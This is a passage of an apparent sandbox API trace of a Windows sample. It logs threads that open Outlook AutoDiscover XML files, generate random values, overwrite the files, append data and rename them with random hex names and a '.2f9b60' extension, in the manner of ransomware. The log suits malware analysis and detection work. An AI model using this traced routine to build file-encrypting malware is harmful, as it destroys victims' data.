Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x2af3649b [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x2b73eedb [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0xa60964f [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x6b7c1bab [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x784ff7a2 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x3095bde9 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x7f9d93f [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x55b1528d [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x6c543785 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x18d121da [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x1c069158 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x688f89c5 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x56c91b1a [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x7420d0bb [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x2c75035b [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x4245a779 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x5f9f19e4 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x677b69a9 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x62ec66d2 [0229.331] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x4269e799 [0229.331] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0xb953a7e [0229.331] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x757260d [0229.340] ReadFile (in: hFile=0x8c0, lpBuffer=0x42db4090, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x2b5dfa50, lpOverlapped=0x0 | out: lpBuffer=0x42db4090*, lpNumberOfBytesRead=0x2b5dfa50*=0x332, lpOverlapped=0x0) returned 1 [0229.340] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.340] WriteFile (in: hFile=0x8c0, lpBuffer=0x42dce500*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x2b5dfa54, lpOverlapped=0x0 | out: lpBuffer=0x42dce500*, lpNumberOfBytesWritten=0x2b5dfa54*=0x332, lpOverlapped=0x0) returned 1 [0239.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bdd0 [0239.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bda0 [0239.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bda0) returned 1 [0239.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dce500) returned 1 [0239.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db4090) returned 1 [0239.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0239.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce611a0) returned 1 [0239.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431adf60 [0239.298] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.298] WriteFile (in: hFile=0x8c0, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2b5dfb70, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x2b5dfb70*=0x10e, lpOverlapped=0x0) returned 1 [0242.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0242.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0242.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0242.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b860ba0 [0242.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861110 [0242.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861170 [0242.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861170) returned 1 [0242.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0242.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x420586f0 [0242.172] sprintf (in: _Dest=0x420586f0, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.172] sprintf (in: _Dest=0x420586f2, _Format="%c%c" | out: _Dest="32") returned 2 [0242.172] sprintf (in: _Dest=0x420586f4, _Format="%c%c" | out: _Dest="4f") returned 2 [0242.172] sprintf (in: _Dest=0x420586f6, _Format="%c%c" | out: _Dest="01") returned 2 [0242.172] sprintf (in: _Dest=0x420586f8, _Format="%c%c" | out: _Dest="c2") returned 2 [0242.172] sprintf (in: _Dest=0x420586fa, _Format="%c%c" | out: _Dest="40") returned 2 [0242.172] sprintf (in: _Dest=0x420586fc, _Format="%c%c" | out: _Dest="d0") returned 2 [0242.172] sprintf (in: _Dest=0x420586fe, _Format="%c%c" | out: _Dest="8f") returned 2 [0242.172] sprintf (in: _Dest=0x42058700, _Format="%c%c" | out: _Dest="27") returned 2 [0242.172] sprintf (in: _Dest=0x42058702, _Format="%c%c" | out: _Dest="37") returned 2 [0242.172] sprintf (in: _Dest=0x42058704, _Format="%c%c" | out: _Dest="40") returned 2 [0242.172] sprintf (in: _Dest=0x42058706, _Format="%c%c" | out: _Dest="e8") returned 2 [0242.172] sprintf (in: _Dest=0x42058708, _Format="%c%c" | out: _Dest="53") returned 2 [0242.172] sprintf (in: _Dest=0x4205870a, _Format="%c%c" | out: _Dest="e7") returned 2 [0242.172] sprintf (in: _Dest=0x4205870c, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.172] sprintf (in: _Dest=0x4205870e, _Format="%c%c" | out: _Dest="e2") returned 2 [0242.172] sprintf (in: _Dest=0x42058710, _Format="%c%c" | out: _Dest="8b") returned 2 [0242.172] sprintf (in: _Dest=0x42058712, _Format="%c%c" | out: _Dest="bd") returned 2 [0242.172] sprintf (in: _Dest=0x42058714, _Format="%c%c" | out: _Dest="b4") returned 2 [0242.172] sprintf (in: _Dest=0x42058716, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.172] sprintf (in: _Dest=0x42058718, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.172] sprintf (in: _Dest=0x4205871a, _Format="%c%c" | out: _Dest="d9") returned 2 [0242.172] sprintf (in: _Dest=0x4205871c, _Format="%c%c" | out: _Dest="3f") returned 2 [0242.172] sprintf (in: _Dest=0x4205871e, _Format="%c%c" | out: _Dest="d1") returned 2 [0242.173] sprintf (in: _Dest=0x42058720, _Format="%c%c" | out: _Dest="90") returned 2 [0242.173] sprintf (in: _Dest=0x42058722, _Format="%c%c" | out: _Dest="5e") returned 2 [0242.173] sprintf (in: _Dest=0x42058724, _Format="%c%c" | out: _Dest="d7") returned 2 [0242.173] sprintf (in: _Dest=0x42058726, _Format="%c%c" | out: _Dest="54") returned 2 [0242.173] RtlInitAnsiString (in: DestinationString=0x2b5dfbe8, SourceString="0d324f01c240d08f273740e853e7d5e28bbdb4f57dd93fd1905ed754" | out: DestinationString="0d324f01c240d08f273740e853e7d5e28bbdb4f57dd93fd1905ed754") [0242.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b5dfbb8, SourceString="0d324f01c240d08f273740e853e7d5e28bbdb4f57dd93fd1905ed754", AllocateDestinationString=1 | out: DestinationString="0d324f01c240d08f273740e853e7d5e28bbdb4f57dd93fd1905ed754") returned 0x0 [0242.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebb860 [0242.173] wcscat (in: _Dest=0x20278830, _Source="0d324f01c240d0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0" [0242.173] wcscat (in: _Dest=0x20278830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0.2f9b60" [0242.173] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0.2f9b60", NtPathName=0x2b5dfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0d324f01c240d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430fca60 Thread: id = 3813 os_tid = 0x1f34 [0227.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml")) returned 0x20 [0229.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML", dwFileAttributes=0x20) returned 1 [0229.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d38 [0229.258] GetFileSizeEx (in: hFile=0x1d38, lpFileSize=0x2bc0f680 | out: lpFileSize=0x2bc0f680*=816) returned 1 [0229.258] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x32c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.258] ReadFile (in: hFile=0x1d38, lpBuffer=0x2bc0f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bc0f648, lpOverlapped=0x0 | out: lpBuffer=0x2bc0f600*, lpNumberOfBytesRead=0x2bc0f648*=0x4, lpOverlapped=0x0) returned 1 [0230.429] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0230.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0230.430] NtQuerySystemTime (in: CurrentTime=0x2bc0f540 | out: CurrentTime=0x2bc0f540*=132462178344286000) returned 0x0 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x28b3d676 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x7e82f78c [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x178b6ad9 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x3c5ba7e0 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x6708e182 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x64880bb2 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0xa80c080 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x18a7e3df [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x48f85ccb [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x6298f864 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x5c25bcc4 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x1d39f71b [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x13188aff [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x7f9429c7 [0230.430] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x223f5d9b [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x7784e51a [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x1a37cbe4 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x7950fb4 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x4431fa12 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x444b5685 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x4cea45e2 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x2be6bf7c [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x7d051b21 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x660108c7 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x4ba48e9e [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x79e2b556 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x46b7f720 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x3712b974 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x6eb2bd74 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x4a4844b8 [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x1d0f1e5b [0230.431] RtlRandomEx (in: Seed=0x2bc0f530 | out: Seed=0x2bc0f530) returned 0x468fa3d0 [0230.438] ReadFile (in: hFile=0x1d38, lpBuffer=0x20451ef0, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x2bc0f530, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesRead=0x2bc0f530*=0x330, lpOverlapped=0x0) returned 1 [0230.438] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.438] WriteFile (in: hFile=0x1d38, lpBuffer=0x2044e2e0*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2bc0f534, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesWritten=0x2bc0f534*=0x330, lpOverlapped=0x0) returned 1 [0233.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0233.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0233.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0233.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0233.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0233.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85db90) returned 1 [0233.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0233.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ad160 [0233.712] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.712] WriteFile (in: hFile=0x1d38, lpBuffer=0x42c143f0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2bc0f650, lpOverlapped=0x0 | out: lpBuffer=0x42c143f0*, lpNumberOfBytesWritten=0x2bc0f650*=0x114, lpOverlapped=0x0) returned 1 [0235.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b90 [0235.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b90) returned 1 [0235.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260b90 [0235.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0235.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0235.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bf0) returned 1 [0235.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97b70 [0235.739] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="3f") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="44") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="30") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="55") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="30") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.739] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="69") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="20") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="72") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="47") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="00") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="35") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="42") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="60") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="da") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="8d") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="60") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="41") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="47") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97bb0, _Format="%c%c" | out: _Dest="2a") returned 2 [0235.740] sprintf (in: _Dest=0x1cd97bb2, _Format="%c%c" | out: _Dest="33") returned 2 [0235.740] RtlInitAnsiString (in: DestinationString=0x2bc0f6c8, SourceString="3f1b3d44305530a0a769fa2072f647b700c62fbb35cb0d42b360da8dd86041472a33" | out: DestinationString="3f1b3d44305530a0a769fa2072f647b700c62fbb35cb0d42b360da8dd86041472a33") [0235.741] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bc0f698, SourceString="3f1b3d44305530a0a769fa2072f647b700c62fbb35cb0d42b360da8dd86041472a33", AllocateDestinationString=1 | out: DestinationString="3f1b3d44305530a0a769fa2072f647b700c62fbb35cb0d42b360da8dd86041472a33") returned 0x0 [0235.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431885c0 [0235.741] wcscat (in: _Dest=0x4314c220, _Source="3f1b3d44305530a0a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a" [0235.741] wcscat (in: _Dest=0x4314c220, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a.2f9b60" [0235.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a.2f9b60", NtPathName=0x2bc0f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\3f1b3d44305530a0a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776930 Thread: id = 3814 os_tid = 0x1f08 [0227.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml")) returned 0x20 [0229.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML", dwFileAttributes=0x20) returned 1 [0229.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x66c [0229.297] GetFileSizeEx (in: hFile=0x66c, lpFileSize=0x2a95fe40 | out: lpFileSize=0x2a95fe40*=806) returned 1 [0229.297] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.297] ReadFile (in: hFile=0x66c, lpBuffer=0x2a95fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a95fe08, lpOverlapped=0x0 | out: lpBuffer=0x2a95fdc0*, lpNumberOfBytesRead=0x2a95fe08*=0x4, lpOverlapped=0x0) returned 1 [0230.595] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0230.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0230.596] NtQuerySystemTime (in: CurrentTime=0x2a95fd00 | out: CurrentTime=0x2a95fd00*=132462178345846000) returned 0x0 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x37fed06f [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x7b71537e [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x19f99f1a [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x1e83f600 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x20968614 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x3caec47c [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x2697911f [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x3cb4260b [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x1fc57e52 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x18706fd5 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x2808d891 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x7e9eedf [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x13d9e4b9 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x6e68d5df [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x544d4645 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x101557ee [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x69508317 [0230.596] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x20968614 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x5fed6125 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x3881eab5 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x29393e42 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 